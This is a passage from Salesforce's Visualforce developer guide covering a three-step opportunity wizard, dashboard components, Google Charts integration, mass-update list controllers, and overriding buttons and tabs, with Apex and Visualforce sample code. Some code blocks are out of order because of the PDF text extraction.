Advanced Examples Creating a Wizard public Account getAccount() { if (account == null ) account = [select id, name, site from Account return account; where id = :ApexPages.currentPage().getParameters().get( 'id' )];
}
}
Notice in the code above that the redirect
attribute for the PageReference is set to true. If this attribute is not set, the PageReference is returned to the browser, but no navigation occurs—the URL for the original page remains the same. If you want to change the URL as a result of navigation, you have to set the redirect
attribute.
If you test the page now, clicking Save New Account Name navigates to mySecondPage, but the data context is lost—that is, no value is available for
{!account.name}
. The reason for this is that when a redirect occurs the controller clears the context state. Consequently we need to reset the id
query string parameter in the PageReference's parameter map: public class MyUpdatedController {
Account account; public PageReference save() { update account;
PageReference secondPage = Page.mySecondPage; secondPage.setRedirect( true ); secondPage.getParameters().put( 'id' ,account.id); return secondPage;
} public String getName() { return 'MyController' ;
} public Account getAccount() { if (account == null ) account = [select id, name, site from Account return account; where id = :ApexPages.currentPage().getParameters().get( 'id' )];
}
}
Creating a Wizard
Having learned about the essential features of Visualforce markup and controllers, this final example shows how they can be used together to create a custom, three-step wizard that allows users to create an opportunity at the same time as a related contact, account, and contact role:
•
The first step captures information related to the account and contact
•
The second step captures information related to the opportunity
•
The final step shows which records will be created and allows the user to save or cancel
To implement this wizard, we must define three pages for each of the three steps in the wizard, plus a single custom controller that sets up navigation between each of the pages and tracks the data that the user enters.
123
Advanced Examples Creating a Wizard
Important: Data that's used across several Visualforce pages must be defined within the first page, even if that page isn't using the data. For example, if a field is necessary on pages two and three of a three-step process, page one must also contain the field.
You can hide this field from the user by setting the rendered
attribute of the field to false
.
The code for each of these components is included in the sections below, but first you need to understand the best procedure for creating them because each of the three pages references the controller, and the controller references each of the three pages. In what appears to be a conundrum, you cannot create the controller without the pages, but the pages have to exist to refer to them in the controller.
We can work out of this problem by first defining pages that are completely empty, then creating the controller, and then adding markup to the pages. Consequently, the best procedure for creating the wizard pages and controller is as follows:
1. Navigate to the URL for the first page, https://
Salesforce_instance/apex/opptyStep1
, and click Create Page
opptyStep1.
2. Repeat the step above for the other pages in the wizard, opptyStep2
and opptyStep3
.
3. Create the newOpportunityController
controller by adding it as an attribute to the
<apex:page >
tag on one of your pages (for example,
<apex:page controller= "newOpportunityController" >
, and clicking Create Apex
controller newOpportunityController. Paste in all of the controller code and click Save.
4. Now return to the editors for the three pages that you created and copy in their code. The wizard should now work as expected.
Note:
Although you can create an empty page, the reverse is not true—in order for a page to refer to a controller, the controller has to exist with all of its methods and properties.
The Opportunity Wizard Controller
The following Apex class is the controller for all three pages in the New Customer Opportunity wizard: public class newOpportunityController {
// These four member variables maintain the state of the wizard.
// When users enter data into the wizard, their input is stored
// in these variables.
Account account;
Contact contact;
Opportunity opportunity;
OpportunityContactRole role;
// The next four methods return one of each of the four member
// variables. If this is the first time the method is called,
// it creates an empty record for the variable.
public Account getAccount() { if (account == null ) account = new Account(); return account;
} public Contact getContact() { if (contact == null ) contact = new Contact(); return contact;
} public Opportunity getOpportunity() { if (opportunity == null ) opportunity = new Opportunity();
124
Advanced Examples Creating a Wizard
} return opportunity; public OpportunityContactRole getRole() { if (role == null ) role = new OpportunityContactRole(); return role;
}
// The next three methods control navigation through
// the wizard. Each returns a PageReference for one of the three pages
// in the wizard. Note that the redirect attribute does not need to
// be set on the PageReference because the URL does not need to change
// when users move from page to page.
public PageReference step1() { return Page.opptyStep1;
} public PageReference step2() { return Page.opptyStep2;
} public PageReference step3() { return Page.opptyStep3;
}
// This method cancels the wizard, and returns the user to the
// Opportunities tab public PageReference cancel() {
PageReference opportunityPage = new ApexPages.StandardController(opportunity).view(); opportunityPage.setRedirect( true ); return opportunityPage;
}
// This method performs the final save for all four objects, and
// then navigates the user to the detail page for the new
// opportunity.
public PageReference save() {
// Create the account. Before inserting, copy the contact's
// phone number into the account phone number field.
account.phone = contact.phone; insert account;
// Create the contact. Before inserting, use the id field
// that's created once the account is inserted to create
// the relationship between the contact and the account.
contact.accountId = account.id; insert contact;
// Create the opportunity. Before inserting, create
// another relationship with the account.
opportunity.accountId = account.id;
125
Advanced Examples Creating a Wizard insert opportunity;
// Create the junction contact role between the opportunity
// and the contact.
role.opportunityId = opportunity.id; role.contactId = contact.id; insert role;
// Finally, send the user to the detail page for
// the new opportunity.
PageReference opptyPage = new ApexPages.StandardController(opportunity).view(); opptyPage.setRedirect( true );
} return opptyPage;
}
Step One of the Opportunity Wizard
The following code defines the first page of the wizard ( opptyStep1
) in which data about the associated contact and account is gathered from the user:
<apex:page controller= "newOpportunityController" tabStyle= "Opportunity" >
<script > function confirmCancel() { var isCancel = confirm( "Are you sure you wish to cancel?" ); if (isCancel) return true; return false;
}
</script >
<apex:sectionHeader title= "New Customer Opportunity" subtitle= "Step 1 of 3" />
<apex:form >
<apex:pageBlock title= "Customer Information" mode= "edit" >
<!-- The pageBlockButtons tag defines the buttons that appear at the top and bottom of the pageBlock. Like a facet, it can appear anywhere in a pageBlock, but always defines the button areas.-->
<!-- The Next button contained in this pageBlockButtons area calls the step2 controller method, which returns a pageReference to the next step of the wizard. -->
<apex:pageBlockButtons >
<apex:commandButton action= "{!step2}" value= "Next" />
<apex:commandButton action= "{!cancel}" value= "Cancel" onclick= "return confirmCancel()" immediate= "true" />
</apex:pageBlockButtons >
<apex:pageBlockSection title= "Account Information" >
<!-- Within a pageBlockSection, inputFields always display with their corresponding output label. -->
126
Advanced Examples Creating a Wizard
<apex:inputField id= "accountName" value= "{!account.name}" />
<apex:inputField id= "accountSite" value= "{!account.site}" />
</apex:pageBlockSection >
<apex:pageBlockSection title= "Contact Information" >
<apex:inputField id= "contactFirstName" value= "{!contact.firstName}" />
<apex:inputField id= "contactLastName" value= "{!contact.lastName}" />
<apex:inputField id= "contactPhone" value= "{!contact.phone}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Notice the following about the markup for the first page of the wizard:
•
The
<apex:pageBlock >
tag can take an optional
<apex:pageBlockButtons >
child element that controls the buttons that appear in the header and footer of the component. The order in which the
<apex:pageBlockButtons >
tag appears in the
<apex:pageBlock >
body does not matter. In this page of the wizard, the
<apex:pageBlockButtons >
tag includes the Next button that appears in the footer of the page block area.
•
The wizard relies on JavaScript code to display a dialog box asking if a user wants to navigate away when clicking the Cancel button.
•
In this page of the wizard, the Next button calls the step2
method in the controller, which returns a
PageReference
to the next step of the wizard:
<apex:pageBlockButtons >
<apex:commandButton action= "{!step2}" value= "Next" />
</apex:pageBlockButtons >
Command buttons must appear in a form, because the form component itself is responsible for refreshing the page display based on the new
PageReference
.
•
An
<apex:pageBlockSection >
tag organizes a set of data for display. Similar to a table, an
<apex:pageBlockSection > consists of one or more columns, each of which spans two cells—one for a field's label, and one for its value. Each component found in the body of an
<apex:pageBlockSection >
tag is placed into the next cell in a row until the number of columns is reached.
At that point, the next component wraps to the next row and is placed in the first cell.
Some components, including
<apex:inputField >
, automatically span both cells of a page block section column at once, filling in both a field's label and value. For example, in the Contact Information area of this page, the
First Name
field is in the first column, the
Last Name
field is in the second column, and the
Phone
field wraps to the first column of the next row:
<apex:pageBlockSection title= "Contact Information" >
<apex:inputField id= "contactFirstName" value= "{!contact.firstName}" />
<apex:inputField id= "contactLastName" value= "{!contact.lastName}" />
<apex:inputField id= "contactPhone" value= "{!contact.phone}" />
</apex:pageBlockSection >
•
The value
attribute on the first
<apex:inputField >
tag in the preceding code excerpt assigns the user's input to the firstName field of the contact record that's returned by the getContact
method in the controller.
Your page should look like this:
127
Advanced Examples
Step 1 of the New Customer Opportunity Wizard
Creating a Wizard
Step Two of the Opportunity Wizard
The following code defines the second page of the wizard ( opptyStep2
) in which data about the opportunity is gathered from the user:
<apex:page controller= "newOpportunityController" tabStyle= "Opportunity" >
<script > function confirmCancel() { var isCancel = confirm( "Are you sure you wish to cancel?" ); if (isCancel) return true; return false;
}
</script >
<apex:sectionHeader title= "New Customer Opportunity" subtitle= "Step 2 of 3" />
<apex:form >
<apex:pageBlock title= "Opportunity Information" mode= "edit" >
<apex:pageBlockButtons >
<apex:commandButton action= "{!step1}" value= "Previous" />
<apex:commandButton action= "{!step3}" value= "Next" />
<apex:commandButton action= "{!cancel}" value= "Cancel" onclick= "return confirmCancel()" immediate= "true" />
</apex:pageBlockButtons >
<apex:pageBlockSection title= "Opportunity Information" >
<apex:inputField id= "opportunityName" value= "{!opportunity.name}" />
<apex:inputField id= "opportunityAmount" value= "{!opportunity.amount}" />
<apex:inputField id= "opportunityCloseDate" value= "{!opportunity.closeDate}" />
<apex:inputField id= "opportunityStageName" value= "{!opportunity.stageName}" />
<apex:inputField id= "contactRole" value= "{!role.role}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Notice that although the markup for placing the
Close Date
,
Stage
, and
Role for Contact
fields on the form is the same as the other fields, the
<apex:inputField >
tag examines the data type of each field to determine how to display it. For example, clicking in the
Close Date
text box brings up a calendar from which users can select the date.
128
Advanced Examples
Your page should look like this:
Step 2 of the New Customer Opportunity Wizard
Creating a Wizard
Step Three of the Opportunity Wizard
The last block of code defines the third page of the wizard ( opptyStep3
) in which all inputted data is displayed. The user can decide to save the operation or return to the previous step:
<apex:page controller= "newOpportunityController" tabStyle= "Opportunity" >
<script > function confirmCancel() { var isCancel = confirm( "Are you sure you wish to cancel?" ); if (isCancel) return true; return false;
}
</script >
<apex:sectionHeader title= "New Customer Opportunity" subtitle= "Step 3 of 3" />
<apex:form >
<apex:pageBlock title= "Confirmation" >
<apex:pageBlockButtons >
<apex:commandButton action= "{!step2}" value= "Previous" />
<apex:commandButton action= "{!save}" value= "Save" />
<apex:commandButton action= "{!cancel}" value= "Cancel" onclick= "return confirmCancel()" immediate= "true" />
</apex:pageBlockButtons >
<apex:pageBlockSection title= "Account Information" >
<apex:outputField value= "{!account.name}" />
<apex:outputField value= "{!account.site}" />
</apex:pageBlockSection >
<apex:pageBlockSection title= "Contact Information" >
<apex:outputField value= "{!contact.firstName}" />
<apex:outputField value= "{!contact.lastName}" />
<apex:outputField value= "{!contact.phone}" />
<apex:outputField value= "{!role.role}" />
</apex:pageBlockSection >
<apex:pageBlockSection title= "Opportunity Information" >
<apex:outputField value= "{!opportunity.name}" />
<apex:outputField value= "{!opportunity.amount}" />
129
Advanced Examples Advanced Visualforce Dashboard Components
<apex:outputField value= "{!opportunity.closeDate}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Notice that the third page of the wizard simply writes text to the page with
<apex:outputField >
tags.
Your final page should look like this:
Step 3 of the New Customer Opportunity Wizard
Advanced Visualforce Dashboard Components
Visualforce pages can be used as dashboard components. A dashboard shows data from source reports as visual components, which can be charts, gauges, tables, metrics, or Visualforce pages. The components provide a snapshot of key metrics and performance indicators for your organization. Each dashboard can have up to 20 components.
Visualforce pages that use the Standard Controller
can’t be used in dashboards. To be included in a dashboard, a Visualforce page must
have either no controller, use a custom controller , or reference a page bound to the
. If a Visualforce page does not meet these requirements, it does not appear as an option in the dashboard component
Visualforce Page
drop-down list.
The following example shows a Visualforce page that can be used within a dashboard and that uses a custom list controller. It displays all of the open cases associated with a contact named “Babara Levy”:
<apex:page controller= "retrieveCase" tabStyle= "Case" >
<apex:pageBlock >
{!contactName} 's Cases
<apex:pageBlockTable value= "{!cases}" var= "c" >
</apex:pageBlockTable >
</apex:pageBlock >
</apex:page >
<apex:column value= "{!c.status}" />
<apex:column value= "{!c.subject}" />
130
Advanced Examples Integrating Visualforce and Google Charts
This code shows the custom list controller associated with the page: public class retrieveCase { public String getContactName() { return 'Babara Levy' ;
} public List<Case> getCases() { return [SELECT status, subject FROM Case
WHERE Contact.name = 'Babara Levy' AND status != 'Closed' limit 5];
}
}
Sample of a Visualforce Page Running in a Dashboard
SEE ALSO:
Creating Visualforce Dashboard Components
Integrating Visualforce and Google Charts
Google Charts provides a way to dynamically render data through different visualizations. Combined with Visualforce, the Google Charts can offer more flexibility and distribution potential than using a dashboard. Since the charts are generated through a URL, the visualizations can be shared and embedded wherever images are permitted.
There are two prerequisites before using the Google Charts API. The first is to determine how to encode the data. The Google Charts API has three data encoding types—text, simple, and extended. For this example, we'll only use the simple encoding. The second is to decide what type of chart to use. For this example, a user will choose between a bar graph or a line chart.
The custom controller has two important functions— init()
and create()
—that correspond to the requirements above:
•
The function init()
takes a numeric value and converts it to Google Chart's simple data encoding type. For more information, see Simple Encoding Data Format in the Google Charts API documentation.
•
The function create()
constructs the URL that makes the request to the Google Charts API.
The following code represents the controller for the Visualforce page:
/* This class contains the encoding algorithm for use with the
Google chartAPI. */ public class GoogleDataEncoding {
// Exceptions to handle any erroneous data public class EncodingException extends Exception {} public class UnsupportedEncodingTypeException extends Exception {}
131
Advanced Examples Integrating Visualforce and Google Charts
/* The encoding map which takes an integer key and returns the respective encoding value as defined by Google.
This map is initialized in init() */ private Map< Integer , String > encodingMap { get; set; }
/* The maximum encoding value supported for the given encoding type. This value is set during init() */ private Integer encodingMax { get; set; }
/* The minimum encoding value supported for the given encoding type. This value is set during init() */ private Integer encodingMin { get; set; }
/* The encoding type according to Google's API. Only SIMPLE is implemented. */ public enum EncodingType { TEXT, SIMPLE, EXTENDED }
/* The minimum value to use in the generation of an encoding value. */ public Integer min { get; private set; }
/* The maximum value to use in the generation of an encoding value. */ public Integer max { get; private set; }
// The encoding type according to the API defined by Google public EncodingType eType { get; private set; }
// Corresponds to the data set provided by the page public String dataSet { get; set; }
// Corresponds to the type of graph selected on the page public String graph { get; set; }
// The URL that renders the Google Chart public String chartURL { get; set; }
// Indicates whether the chart should be displayed public Boolean displayChart { get; set; } public GoogleDataEncoding() { min = 0; max = 61; eType = EncodingType.SIMPLE; displayChart = false ; init();
} public PageReference create() {
String [] dataSetList = dataSet.split( ',' , 0);
String mappedValue = 'chd=s:' ; chartURL = 'http://chart.apis.google.com/chart?chs=600x300'
+ '&chtt=Time+vs|Distance&chxt=x,y,x,y'
132
Advanced Examples Integrating Visualforce and Google Charts
}
+ '&chxr=0,0,10,1|1,0,65,5'
+ '&chxl=2:|Seconds|3:|Meters' ; if (graph.compareTo( 'barChart' ) == 0)
{ chartURL += '&cht=bvs' ;
} else if (graph.compareTo( 'lineChart' ) == 0)
{ chartURL += '&cht=ls' ;
} else
{ throw new EncodingException( 'An unsupported chart type'
+ 'was selected: ' + graph + ' does not exist.' );
} for ( String dataPoint : dataSetList)
{ mappedValue += getEncode( Integer .valueOf(dataPoint.trim()));
} chartURL += '&' + mappedValue; displayChart = true ; return null ;
/* This method returns the encoding type parameter value that matches the specified encoding type. */ public static String getEncodingDescriptor(EncodingType t) { if (t == EncodingType.TEXT) return 't' ; else if (t == EncodingType.SIMPLE) return 's' ; else if (t == EncodingType.EXTENDED) return 'e' ; else return '' ;
}
/* This method takes a given number within the declared range of the encoding class and encodes it according to the encoding type. If the value provided fall outside of the declared range, an EncodingException is thrown. */ public String getEncode( Integer d) { if (d > max || d < min) { throw new EncodingException( 'Value provided ' + d
+ ' was outside the declared min/max range ('
+ min + '/' + max + ')' );
} else { return encodingMap.get(d);
}
}
/* This method initializes the encoding map which is then
133
Advanced Examples stored for expected repetitious use to minimize statement invocation. */ private void init() { if (eType == EncodingType.SIMPLE) { encodingMax = 61; encodingMin = 0; encodingMap = new Map< Integer , String >(); encodingMap.put(0, 'A' ); encodingMap.put(1, 'B' ); encodingMap.put(2, 'C' ); encodingMap.put(3, 'D' ); encodingMap.put(4, 'E' ); encodingMap.put(5, 'F' ); encodingMap.put(6, 'G' ); encodingMap.put(7, 'H' ); encodingMap.put(8, 'I' ); encodingMap.put(9, 'J' ); encodingMap.put(10, 'K' ); encodingMap.put(11, 'L' ); encodingMap.put(12, 'M' ); encodingMap.put(13, 'N' ); encodingMap.put(14, 'O' ); encodingMap.put(15, 'P' ); encodingMap.put(16, 'Q' ); encodingMap.put(17, 'R' ); encodingMap.put(18, 'S' ); encodingMap.put(19, 'T' ); encodingMap.put(20, 'U' ); encodingMap.put(21, 'V' ); encodingMap.put(22, 'W' ); encodingMap.put(23, 'X' ); encodingMap.put(24, 'Y' ); encodingMap.put(25, 'Z' ); encodingMap.put(26, 'a' ); encodingMap.put(27, 'b' ); encodingMap.put(28, 'c' ); encodingMap.put(29, 'd' ); encodingMap.put(30, 'e' ); encodingMap.put(31, 'f' ); encodingMap.put(32, 'g' ); encodingMap.put(33, 'h' ); encodingMap.put(34, 'i' ); encodingMap.put(35, 'j' ); encodingMap.put(36, 'k' ); encodingMap.put(37, 'l' ); encodingMap.put(38, 'm' ); encodingMap.put(39, 'n' ); encodingMap.put(40, 'o' ); encodingMap.put(41, 'p' ); encodingMap.put(42, 'q' ); encodingMap.put(43, 'r' ); encodingMap.put(44, 's' ); encodingMap.put(45, 't' ); encodingMap.put(46, 'u' );
Integrating Visualforce and Google Charts
134
Advanced Examples Integrating Visualforce and Google Charts encodingMap.put(47, 'v' ); encodingMap.put(48, 'w' ); encodingMap.put(49, 'x' ); encodingMap.put(50, 'y' ); encodingMap.put(51, 'z' ); encodingMap.put(52, '0' ); encodingMap.put(53, '1' ); encodingMap.put(54, '2' ); encodingMap.put(55, '3' ); encodingMap.put(56, '4' ); encodingMap.put(57, '5' ); encodingMap.put(58, '6' ); encodingMap.put(59, '7' ); encodingMap.put(60, '8' ); encodingMap.put(61, '9' );
}
}
}
The Visualforce page needs two input elements: one for the chart type, and one for the data set. Below is a sample page that constructs the form to collect this information:
<apex:page controller= "GoogleDataEncoding" >
<apex:form >
<apex:pageBlock title= "Create a Google Chart for Time and Distance" >
<apex:outputLabel value= "Enter data set, separated by commas: " for= "dataInput" /> <br/ >
<apex:inputTextArea id= "dataInput" title= "First Data Point" value= "{!dataSet}" rows= "3" cols= "50" /> <br/ >
<apex:selectRadio value= "{!graph}" layout= "pageDirection" >
<apex:selectOption itemValue= "barChart" itemLabel= "Horizontal Bar Chart" />
<apex:selectOption itemValue= "lineChart" itemLabel= "Line Chart" />
</apex:selectRadio >
<apex:commandButton action= "{!create}" value= "Create" />
</apex:pageBlock >
</apex:form >
<apex:image url= "{!chartURL}" alt= "Sample chart" rendered= "{!displayChart}" />
</apex:page >
For a sample, enter the following sequence of numbers:
1, 1, 2, 3, 5, 8, 13, 21, 34, 55
. Your page should render the following:
135
Advanced Examples Mass-Updating Records with a Custom List Controller
Mass-Updating Records with a Custom List Controller
To create pages that perform mass updates, use the prototype object contained in the StandardSetController class.
The list controller tracks two sets of records: a primary list containing all the records selected by the filter, and a secondary list containing those records the user selected. The secondary list is usually established on a standard listview page where the user can check boxes to select the records. The user can then click on a custom list button that navigates to your custom mass update page, which uses the prototype object to apply new field values to the user's selection. The prototype object operates on all the records in the user's selection.
To retrieve the prototype object in your custom controller, use the StandardSetController's getRecord
method. For example, to enable mass updates for Opportunities, use the singular term for its associated object (
Opportunity
) to set field values for all records in the selection:
1. Create a Visualforce page called massupdatestages
.
2. Provide the following controller: public class selectedSizeWorkaround {
ApexPages.StandardSetController setCon; public selectedSizeWorkaround(ApexPages.StandardSetController controller) { setCon = controller;
} public integer getMySelectedSize() { return setCon.getSelected().size();
} public integer getMyRecordsSize() { return setCon.getRecords().size();
}
}
136
Advanced Examples Mass-Updating Records with a Custom List Controller
3. Provide the following markup:
<apex:page standardController= "Opportunity" recordSetVar= "opportunities" extensions= "selectedSizeWorkaround" showHeader= "false" id= "muopp"
>
<apex:form id= "muform" >
<apex:pageMessage summary= "Selected Collection Size: {!mySelectedSize}" severity= "info" id= "mupms"
/>
<apex:pageMessage summary= "Record Set Size: {!myRecordsSize}" severity= "info" id= "mupmr"
/>
<apex:pageBlock title= "Opportunity Mass-Update" mode= "edit" id= "mub1" >
<apex:pageMessages />
<apex:pageBlockSection id= "mus1" >
<apex:inputField value= "{!opportunity.stagename}" id= "stagename" >
<apex:actionSupport event= "onchange" rerender= "muselectedlist" />
</apex:inputField >
</apex:pageBlockSection >
<apex:pageBlockButtons location= "bottom" id= "mubut" >
<apex:commandButton value= "Save" action= "{!save}" id= "butsav" />
<apex:commandButton value= "Cancel" action= "{!cancel}" id= "butcan" />
</apex:pageBlockButtons >
</apex:pageBlock >
<apex:pageBlock title= "Selected Opportunities" id= "muselectedlist" >
<apex:pageBlockTable value= "{!selected}" var= "opp" id= "mutab" >
<apex:column value= "{!opp.name}" id= "oppname" />
<apex:column value= "{!opp.stagename}" id= "oppstage" />
</apex:pageBlockTable >
</apex:pageBlock >
</apex:form >
</apex:page >
4. From the object management settings for opportunities, go to Buttons, Links, and Actions.
5. Click New Button or Link.
6. Set the
Button Label
to
Mass Update Stages
, and set the
Name
to
MassUpdateStages
.
7. Set the
Display Type
to
List Button
and ensure that
Display Checkboxes (for Multi-Record
Selection)
is checked. Set the Behavior to
Display in existing window with sidebar
, and set the Content
Source to
Visualforce Page
. Click the name of the page you just created to associate it with this button.
8. Click Save.
9. From the object management settings for opportunities, go to Search Layouts. Then click Edit next to Opportunities List View.
10. Under Custom Buttons, move the Mass Update Stages button to the Selected Buttons list.
11. Click Save.
137
Advanced Examples Mass-Updating Records with a Custom List Controller
12. Click the Opportunities tab. Select or create a filter that displays some existing opportunities you would like to change.
13. You will see checkboxes next to each of the results. Click any number of checkboxes and click the Mass Update Stages button to change the selected stages to any value you wish.
14. Click Save.
While this example shows you how to update one field, any number of fields in the prototype object can be referenced and applied to the user's selection; any field in the prototype object that the user doesn't set doesn't affect the selected records. Remember that properties of fields, such as their requiredness, are maintained in the prototype object. For example, if you include an input field on the page for a required field such as
Opportunity.StageName
, the user must enter a value for the field.
Note: You only need selectedSizeWorkaround
if you want your page to either display or reference the sizes of the user selection or filtered set. Such a display is helpful since it gives the user information about the set that will be modified by the mass update.
SEE ALSO:
Salesforce Help: Find Object Management Settings
138
CHAPTER 9
Overriding Buttons, Links, and Tabs with Visualforce
You can override the behavior of standard buttons on record detail pages. You can also override the tab home page that displays when a user clicks a standard, custom, or external object tab.
To override a standard button or a tab home page:
1. Click Edit next to the button or tab home page you want to override.
2. Pick Visualforce Page as an override type.
3. Select the Visualforce page you want to run when users click the button or tab.
When overriding buttons with a Visualforce page, you must use the standard controller for the object on which the button appears.
For example, if you want to use a page to override the Edit button on accounts, the page markup must include the standardController= "Account"
attribute on the
<apex:page >
tag:
<apex:page standardController= "Account" >
<!-- page content here -->
</apex:page >
When overriding tabs with a Visualforce page, you can select only Visualforce pages that use the standard list controller for that tab, pages with a custom controller, or pages with no controller.
When overriding lists with a Visualforce page, you can select only Visualforce pages that use a standard list controller.
When overriding the New button with a Visualforce page, you have the option to skip the record type selection page. If you choose this option, new records you create aren’t forwarded to the record type selection page. Salesforce assumes that your Visualforce page is already handling record types.
Tip:
Use a controller extension when you need to add extra functionality to Visualforce page that you are using as an override.
4. Optionally, enter any comments to note the reason for this change.
5. Click Save.
To remove an override:
1. From the appropriate object’s management settings, go to Buttons, Links, and Actions.
2. Click Edit next to the override.
3. Select No Override (default behavior).
4. Click OK.
SEE ALSO:
Salesforce Help: Find Object Management Settings
139
Overriding Buttons, Links, and Tabs with Visualforce Overriding Tabs Using a Standard List Controller
Overriding Tabs Using a Standard List Controller
Pages that use standard list controllers can be used to override tabs. For example, if you create a page named overrideAccountTab that is associated with the Account standard list controller:
<apex:page standardController= "Account" recordSetVar= "accounts" tabStyle= "account" >
<apex:pageBlock >
<apex:pageBlockTable value= "{!accounts}" var= "a" >
<apex:column value= "{!a.name}" />
</apex:pageBlockTable >
</apex:pageBlock >
</apex:page >
Then, you can override the Account tab to display that page instead of the standard Account home page.
1. From the object management settings for accounts, go to Buttons, Links, and Actions.
2. Click Edit for the Accounts Tab.
3. From the Visualforce Page drop-down list, select the overrideAccountTab page.
4. Click Save.
Note:
Make sure you have made this page available to all your users by setting the page level security appropriately.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Defining Custom Buttons and Links for Visualforce
Before creating a custom button or link, determine what action you want to occur when a user clicks it.
1. From the management settings for the appropriate object, go to Buttons, Links, and Actions. Custom buttons are not available on the user object or custom home pages.
Custom buttons and links are available for activities in the object management settings for tasks and events. However, you can override a button that applies to both tasks and events from the object management settings for activities.
2. Click the button for creating a new button or link.
3. Enter the following attributes.
Attribute Name
Label
Name
Namespace Prefix
Description
Text that displays on user pages for the custom button or link.
The unique name for the button or link used when referenced from a merge field.This name can contain only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers on AppExchange.
Namespace prefixes are case-insensitive. For example, ABC and abc are not recognized as unique.
140
Overriding Buttons, Links, and Tabs with Visualforce Defining Custom Buttons and Links for Visualforce
Attribute Name
Protected
Component
Description
Display Type
Behavior
Content Source
Description
Your namespace prefix must be globally unique across all Salesforce organizations. It keeps your managed package under your control exclusively.
Protected components can’t be linked to or referenced by components created in a subscriber org.
A developer can delete a protected component in a future release without worrying about failing installations. However, once a component is marked as unprotected and is released globally, the developer can’t delete it.
Text that distinguishes the button or link and is displayed when an administrator is setting up buttons and links.
Determines where the button or link is available on page layouts.
Detail Page Link
Select this option to add the link to the Custom Links section of your page layouts.
Detail Page Button
Select this option to add the custom button to a record’s detail page. You can add detail page buttons to the Button section of a page layout only.
List Button
Select this option to add the custom button to a list view, search result layout, or related list.
You can add list buttons to the Related List section of a page layout or the List View and Search
Result layouts only.
For list buttons, Salesforce automatically selects a Display Checkboxes (for Multi-Record
Selection) option that includes a checkbox next to each record in the list, allowing users to select the records they want applied to the action on the list button. Deselect this option if your custom button does not require the user to select records. For example, a button that navigates to another page.
Choose the outcome of clicking the button or link.
When applicable, some settings have default values. For example, if you choose
Display in new window
, the default height of a new window is 600 pixels.
To use a Visualforce page, select “Visualforce Page,” and choose the page from the drop-down list.
Visualforce pages cannot be used as custom links on the home page.
4. Click Save when you are finished.
Click Quick Save to save and continue editing.
To view the specified URL, click Preview.
To quit without saving your content, click Cancel.
5. Edit the page layout for the appropriate tab or search layout to display the new button or link.
If you add a custom link for users, it is automatically added to the Custom Links section of the user detail page. Detail page buttons can be added to the Button section of a page layout only.
141
Overriding Buttons, Links, and Tabs with Visualforce Adding Custom List Buttons using Standard List Controllers
6. Optionally, set the window properties to open the button or link using settings other than the user’s default browser settings.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Adding Custom List Buttons using Standard List Controllers
In addition to overriding standard buttons and links, you can also create custom list buttons that link to pages that use a standard list controller. These list buttons can be used on a list page, search results, and any related list for the object and allow you to take actions on a group of selected records. To indicate the set of records that have been selected, use the
{!selected}
expression.
For example, to add a custom button to a related list for opportunities that allows you to edit and save the opportunity stage and close date on selected records:
1. Create the following Apex class: public class tenPageSizeExt { public tenPageSizeExt(ApexPages.StandardSetController controller) { controller.setPageSize(10);
}
}
2. Create the following page and call it oppEditStageAndCloseDate
:
<apex:page standardController= "Opportunity" recordSetVar= "opportunities" tabStyle= "Opportunity" extensions= "tenPageSizeExt" >
<apex:form >
<apex:pageBlock title= "Edit Stage and Close Date" mode= "edit" >
<apex:pageMessages />
<apex:pageBlockButtons location= "top" >
<apex:commandButton value= "Save" action= "{!save}" />
<apex:commandButton value= "Cancel" action= "{!cancel}" />
</apex:pageBlockButtons >
<apex:pageBlockTable value= "{!selected}" var= "opp" >
<apex:column value= "{!opp.name}" />
<apex:column headerValue= "Stage" >
<apex:inputField value= "{!opp.stageName}" />
</apex:column >
<apex:column headerValue= "Close Date" >
<apex:inputField value= "{!opp.closeDate}" />
</apex:column >
</apex:pageBlockTable >
</apex:pageBlock >
</apex:form >
</apex:page >
3. Make the page available to all users.
a. From Setup, enter
Visualforce Pages
in the
Quick Find
box, then select Visualforce Pages.
b. Click Security for the oppEditStageAndCloseDate page.
c. Add the appropriate profiles to the
Enabled Profiles
list.
142
Overriding Buttons, Links, and Tabs with Visualforce Adding Custom List Buttons using Standard List Controllers
d. Click Save.
4. Create a custom button on opportunities.
a. From the object management settings for opportunities, go to Buttons, Links, and Actions.
b. Click the button for creating a new button or link.
c. Set the
Label
to
Edit Stage & Date
.
d. Set the
Display Type
to
List Button
.
e. Set the Content Source to
Visualforce Page
.
f. From the Content drop-down list, select
oppEditStageAndCloseDate
.
g. Click Save.
h. A warning will display notifying you that the button will not be displayed until you have updated page layouts. Click OK.
5. Add the custom button to an account page layout.
a. From the object management settings for accounts, go to Page Layouts.
b. Click Edit for the appropriate page layout.
c. In the Related List Section, click on Opportunities, then click to edit the properties.
d. In the Custom Buttons section, select Edit Stage & Date in the Available Buttons list and add it to the Selected Buttons list.
e. Click OK.
f. Click Save.
Now, when you visit the account page, there is a new button in the opportunities related list.
Example of New Button
When you select an opportunity and click Edit Stage & Date, you are taken to your custom edit page.
Example of Custom Edit Page
SEE ALSO:
Salesforce Help: Find Object Management Settings
143
Overriding Buttons, Links, and Tabs with Visualforce Displaying Record Types
Displaying Record Types
Visualforce pages with a Salesforce API version equal to or greater than 20.0 support record types. Record types let you offer different business processes, picklist values, and page layouts to different users.
After creating a record type in Setup, enabling support for it in Visualforce requires no additional actions on your part. Visualforce pages for objects that use record types respect your settings. Record type field is named
RecordTypeId
.
Your record type definitions affect the rendering of
<apex:inputField >
tags in the following ways:
•
If the
<apex:inputField >
tag refers to a picklist field that's filtered by a record type:
–
The rendered
<apex:inputField >
component only displays options compatible with that record type.
–
If the
<apex:inputField >
component is bound to a dependent picklist with a rendered and editable controlling field, only options compatible with both the record type and the controlling field value display.
•
If the
<apex:inputField >
tag refers to a record type field:
–
If the user can change the field’s record type, or select a record type for the new field, the
<apex:inputField >
component renders as a drop-down list. Otherwise, it renders as read-only text.
–
It's the developer's responsibility to either refresh the page or rerender filtered picklists when the list changes.
In addition, the
<apex:outputField >
tag's support for record types is identical to a read-only implementation of the
<apex:inputField >
behavior.
